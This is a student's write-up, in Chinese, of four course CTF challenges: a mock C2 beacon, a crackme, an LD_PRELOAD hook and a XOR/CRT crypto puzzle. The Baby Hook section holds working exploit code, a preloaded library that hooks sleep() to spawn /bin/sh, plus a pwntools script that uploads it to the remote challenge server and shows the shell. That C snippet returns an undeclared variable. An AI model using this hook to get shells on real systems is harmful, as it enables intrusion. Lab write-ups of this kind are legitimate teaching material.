Name: 何秉學　ID: R11921A16

Easy C2

- Flag: `FLAG{C2_cmd_in_http_header}`

Description

我們獵捕到一隻惡意程式，它似乎有與 C2 進行互動的行為。請找出它發送給 C2 的訊息。Flag 格式為：FLAG{...}。
此題模仿惡意程式與 C2 進行溝通的行為，期望能在對不熟悉逆向的同學而言不過度困難的情況下，讓同學對惡意程式行為有初步的認識。題目本身並沒有實際的惡意或影響系統運作的行為，因此可以安心執行。建議同學可以先嘗試執行程式，觀察程式的行為，嘗試找出 C2 位址以及如何與其溝通。

Google 關鍵字：IDA freeware、Ghidra、malware C2

解題思路

1. Simple 解題思路

```
$ file easy-c2
easy-c2: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically
linked, interpreter /lib64/ld-linux-x86-64.so.2,
BuildID[sha1]=8fa6ee42a706cfc93d97d04b3ff5e300b9f8ae02, for GNU/Linux 3.2.0,
with debug_info, not stripped
```

2. IDA

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int sockfd; // [rsp+1Ch] [rbp-24h]
  char *flag; // [rsp+20h] [rbp-20h] BYREF
  char *enc_flag; // [rsp+28h] [rbp-18h]
  char *host; // [rsp+30h] [rbp-10h]
  unsigned __int64 v8; // [rsp+38h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  enc_flag = byte_20F0;
  host = "127.0.0.1";
  sockfd = socket_connect("127.0.0.1", 11187);
  decode_flag(&flag, byte_20F0);
  send_msg(sockfd, flag);
  puts("Message sent.");
  sleep(1u);
  free(flag);
  close(sockfd);
  return 0;
}
```

可以看得出來他會連localhost:11187，然後把decode過後的flag給送出去，所以只要會nc的都可以直接聽該port的訊息

Exploit

```
$ nc -lvp 11187
Listening on 0.0.0.0 11187
Connection received on localhost 54028
GET / HTTP/1.0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like
Gecko, FLAG{C2_cmd_in_http_header}) Chrome/51.0.2704.103 Safari/537.36
```

Baby Crackme

- Flag: `FLAG{rOll1ng_4nd_3xtr4ct_tO_m3mOry}`

Description

透過此題目希望學生們可以先自行摸索過各種 SRE(Software Reverse-Engineering) 的工具與流程。 給你一些關鍵字用: IDA Freeware, Ghidra, gdb (GNU Debugger), Dynamic Analysis

解題思路

1. Simple 解題思路

```
$ file baby-crackme
baby-crackme: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
BuildID[sha1]=6cc98ffd919e39311d3014a8bd77c2c8968ca2a9, for GNU/Linux 3.2.0,
stripped
$ ./baby-crackme
========= Baby Validating Service =========
Enter the license >1234
Invalid license!
```

2. IDA

```
__int64 __fastcall main(int a1, char **a2, char **a3)
{
  __int64 input_flag[4]; // [rsp+0h] [rbp-30h] BYREF
  int v5; // [rsp+20h] [rbp-10h]
  unsigned __int64 v6; // [rsp+28h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  memset(input_flag, 0, sizeof(input_flag));
  v5 = 0;
  puts("========= Baby Validating Service =========");
  printf("Enter the license >");
  __isoc99_scanf("%35s", input_flag);
  if ( scan_license(input_flag, 36LL, 0xBACEB00CLL) )
    puts("Valid license!");
  else
    puts("Invalid license!");
  return 0LL;
}
```

```
_BOOL8 __fastcall scan_license(const char *input_flag, int a2, int
_0xBACEB00C)
{
  unsigned __int8 v5; // [rsp+1Bh] [rbp-35h]
  int i; // [rsp+1Ch] [rbp-34h]
  char s1[8]; // [rsp+20h] [rbp-30h] BYREF
  __int64 v8; // [rsp+28h] [rbp-28h]
  __int64 v9; // [rsp+30h] [rbp-20h]
  __int64 v10; // [rsp+38h] [rbp-18h]
  int v11; // [rsp+40h] [rbp-10h]
  unsigned __int64 v12; // [rsp+48h] [rbp-8h]

  v12 = __readfsqword(0x28u);
  *s1 = 0LL;
  v8 = 0LL;
  v9 = 0LL;
  v10 = 0LL;
  v11 = 0;
  for ( i = 0; i < a2; ++i )
  {
    v5 = enc_flag[i];
    s1[i] = v5 ^ _0xBACEB00C;
    _0xBACEB00C = a2 - i + (v5 ^ __ROR4__(_0xBACEB00C, 1));
  }
  return strcmp(s1, input_flag) == 0;
}
```

3. 如果按照上面得到的code寫script會出事，具體來說會出啥事不好說，但總之IDA時不時會翻不出來也見怪不怪，反正有問題一率動態跟，至於要跟到哪裡(因為沒有main symbol，所以也不好定位)，我是直接用pwntools的raw_input()強制斷在input的地方，接著就跳到比對的部分，然後flag就出現在stack上了

Exploit

```
$ gdb
gef➤ at {PID}
gef➤ fin # until to scan_license function
gef➤ b *{PIE base address}26f
gef➤ c
```

Baby Hook

- Flag: `FLAG{B4by_Ld_Pr3LOaD_L1bR1rY_:)}`

Description

Try to Hook Me :)

nc edu-ctf.zoolab.org 10002
Flag Format：FLAG{...}

解題思路

這一題主要的想法很簡單，就是給他一個so file，然後她會直接用這個so file當作LD_PRELOAD，執行./chall，所以我們要做的事情概念很簡單，就是給他一個有問題的so file，然後當他執行椅面的function時，就會執行我們給他的惡意指令，例如開shell

Exploit

```
#define _GNU_SOURCE
#include <stdio.h>
#include <stdint.h>
#include <dlfcn.h>

#define unlikely(x) __builtin_expect(!!(x), 0)
#define TRY_LOAD_HOOK_FUNC(name) if (unlikely(!g_sys_##name)) {g_sys_##name =
(sys_##name##_t)dlsym(RTLD_NEXT,#name);}


typedef void* (*sys_sleep_t)(size_t size);
static sys_sleep_t g_sys_sleep = NULL;
void* sleep(size_t size)
{
    execve("/bin/sh", (char *[]){0}, (char *[]){0});
    return p;
}
```

```
from base64 import b64encode
from pwn import *

ld_file = open('./libmyhook.so', 'rb').read()
# r = process(['python', './main.py'])
r = remote('edu-ctf.zoolab.org', 10002)

print(r.recvline())
raw_input()
r.sendline(b64encode(ld_file))
# print(b64encode(ld_file))

r.interactive()
```

```
$ gcc -fPIC -shared -o libmyhook.so exp-hook.c -ldl
$ LD_PRELOAD=./libmyhook.so ./chall    # To make sure it's working
$ python exp.py
[+] Opening connection to edu-ctf.zoolab.org on port 10002: Done
b'Give me your share object:\n'

[*] Switching to interactive mode
$ ls
Makefile
chall
chall.c
flag.txt
main.py
```

```
run.sh
$ cat flag.txt
FLAG{B4by_Ld_Pr3LOaD_L1bR1rY_:)}
```

我是直接參考[1]的教學，非常淺顯易懂，而且還有給sample code，做的事情簡單來說就和上面提到的一樣，當它call sleep時，就會直接執行execve開shell給我，另外這篇[2]的教學冶獎的很好

Extreme Xorrrrr

- Flag: `flag{xor_ThEN_><OR_1qUal_ZEr0}`

Description

Easy crypto problem with simple tricks.

Flag Format: FLAG{...}

Source Code

```python
from secret import flag
from Crypto.Util.number import bytes_to_long, getPrime

def xorrrrr(nums):
    n = len(nums)
    result = [0] * n
    for i in range(1, n):
        result = [ result[j] ^ nums[(j+i) % n] for j in range(n)]
    return result

secret = bytes_to_long(flag)
mods = [ getPrime(32) for i in range(20)]
muls = [ getPrime(20) for i in range(20)]

hint = [secret * muls[i] % mods[i] for i in range(20)]

print(f"hint = {xorrrrr(hint)}")
print(f"muls = {xorrrrr(muls)}")
print(f"mods = {xorrrrr(mods)}")

# hint = [3867643078, 3287416726, 901811051, 2873881227, 2270268909, 1555321936,
1419723682, 135531391, 1648732744, 2346142192, 1505498859, 2103436123,
4202619523, 2326904236, 1938136472, 366121018, 773968139, 2415223764, 490067400,
1902082872]
# muls = [784927, 1022769, 932825, 746975, 815007, 613147, 537543, 852211,
618443, 866769, 910981, 825227, 838133, 1027271, 776063, 1038141, 571529, 664495,
1025729, 593197]
# mods = [2286703839, 2358297603, 3964421567, 3907762623, 2849800663, 2382674777,
2503252379, 2798053355, 3995552795, 2910773165, 3724203063, 2416156797,
2179309517, 3641528223, 2846518171, 2688752197, 4248246955, 2871652981,
2639686887, 4182550363]
```

解題思路

我真的脫離crypto太久了，久沒做題就生疏了，這題其實也...沒那麼難，應該還是有點難啦

1. Analyze Process
   首先這題做的事情很簡單，他先取得mods/muls各20組質數的list，然後和flag進行運算

$$hint[0] = secret * muls[0] \ \% \ mods[0]$$
$$\dots$$

最後他有給經過scramble的hint/muls/mods，所以首要做的事情是把scramble後的結果還原

2. Descramble
   他做的事情其實很簡單，靜態看不太出來，動態跟一下就出現了，basically他就是做十九次，每一次都跟隔壁的element進行xor，例如：`muls[0, 1, 2, 3,..., 19]`，scramble的結果會變成

$$muls[1 \oplus 2 \oplus 3 \oplus \dots \oplus 19,$$
$$2 \oplus 3 \oplus 4 \oplus \dots \oplus 19 \oplus 0,$$
$$3 \oplus 4 \oplus 5 \oplus \dots \oplus 19 \oplus 0 \oplus 1, \dots]$$

所以可以看得出來，因為只做19次，scramble後的第一個element缺少原本的element 0，而第二個element缺少原本的element 1，以此類推，所以要還原就很簡單了，我先把scramble後的所有element全部XOR，這樣就可以得到$0\oplus 1\oplus 2\oplus 3\oplus ...\oplus 19$的結果，然後再各自和scramble的element進行XOR，就可以extract出最一開始的element是多少

$$Scrambledelement = 1 \oplus 2 \oplus 3 \oplus \dots \oplus 19$$
$$\oplus$$
$$All\ element\ XOR = 0 \oplus 1 \oplus 2 \oplus 3 \oplus \dots \oplus 19$$
$$= original\ element\ 0$$

3. Decrypt Flag
   有了hint/mods/muls最原始的這些東西，就可以開始想要怎麼藉由hint解密原本的flag，如果把整個equation換個表示式

$$hint[0] = secret * muls[0] \ \% \ mods[0]$$
$$\dots$$
$$=$$
$$secret * muls[0] \equiv \ hint[0] \ (mod\ mods[0])$$
$$secret * muls[1] \equiv \ hint[1] \ (mod\ mods[1])$$
$$secret * muls[2] \equiv \ hint[2] \ (mod\ mods[2])$$
$$\dots$$

這和CRT有一點像，但CRT解的問題是secret都要一樣，所以只要把兩邊同乘以${muls[i]}^{-1}$就可以了

$$secret \equiv \ hint[0] * muls[0]^{-1} \ (mod\ mods[0])$$
$$secret \equiv \ hint[1] * muls[1]^{-1} \ (mod\ mods[1])$$
$$secret \equiv \ hint[2] * muls[2]^{-1} \ (mod\ mods[2])$$
$$\dots$$

再利用CRT的解法，secret就出來了

Exploit

```
from Crypto.Util.number import *
from functools import reduce


def chinese_remainder(m, a):
    sum = 0
    prod = reduce(lambda acc, b: acc*b, m)
    for n_i, a_i in zip(m, a):
        p = prod // n_i
        sum += a_i * mul_inv(p, n_i) * p
    return sum % prod

def mul_inv(a, b):
    b0 = b
    x0, x1 = 0, 1
    if b == 1: return 1
    while a > 1:
        q = a // b
        a, b = b, a%b
        x0, x1 = x1 - q * x0, x0
    if x1 < 0: x1 += b0
    return x1

def de_xor(nums):
    result = []
    tmp = 0
    for i in range(len(nums)):
        tmp ^= nums[i]
    for i in range(len(nums)):
        result.append(tmp ^ nums[i])

    return result

def xorrrrr(nums):
    n = len(nums)
    result = [0] * n
    for i in range(1, n):
        result = [ result[j] ^ nums[(j+i) % n] for j in range(n)]
    return result

hint = [3867643078, 3287416726, 901811051, 2873881227, 2270268909, 1555321936,
1419723682, 135531391, 1648732744, 2346142192, 1505498859, 2103436123,
4202619523, 2326904236, 1938136472, 366121018, 773968139, 2415223764, 490067400,
1902082872]
muls = [784927, 1022769, 932825, 746975, 815007, 613147, 537543, 852211, 618443,
866769, 910981, 825227, 838133, 1027271, 776063, 1038141, 571529, 664495,
1025729, 593197]
mods = [2286703839, 2358297603, 3964421567, 3907762623, 2849800663, 2382674777,
2503252379, 2798053355, 3995552795, 2910773165, 3724203063, 2416156797,
2179309517, 3641528223, 2846518171, 2688752197, 4248246955, 2871652981,
2639686887, 4182550363]

Real_hint = de_xor(hint)
```

```
Real_muls = de_xor(muls)
Real_mods = de_xor(mods)

assert hint == xorrrrr(Real_hint)
assert muls == xorrrrr(Real_muls)
assert mods == xorrrrr(Real_mods)

count = 4
while(True):
    m = [Real_mods[i] for i in range(count)]
    a = [Real_hint[i]*inverse(Real_muls[i], Real_mods[i]) for i in range(count)]
    crt_result = chinese_remainder(m, a)
    if 'flag' in long_to_bytes(crt_result).decode("cp437"):
        print('Count = ', count)
        print(long_to_bytes(crt_result).decode("cp437"))
        break
    count += 1
```

經過實測，最少的CRT組合需要八組以上才能正確還原flag，其中CRT的部分是參考[3]，另外理論的部分是參考[4]，最後inverse的靈感是來自[5]

Reference

1. linux hook機制研究 ↩
2. 用 LD_PRELOAD 替換動態連結的函式庫 ↩
3. Chinese Remainder Theorem Using Python ↩
4. 從高中數學不再教的韓信點兵問題，講到大學數論的中國餘數定理，在講中國餘數定理在 RSA 密碼系統上的應用 ↩
5. 求且a的方法 ↩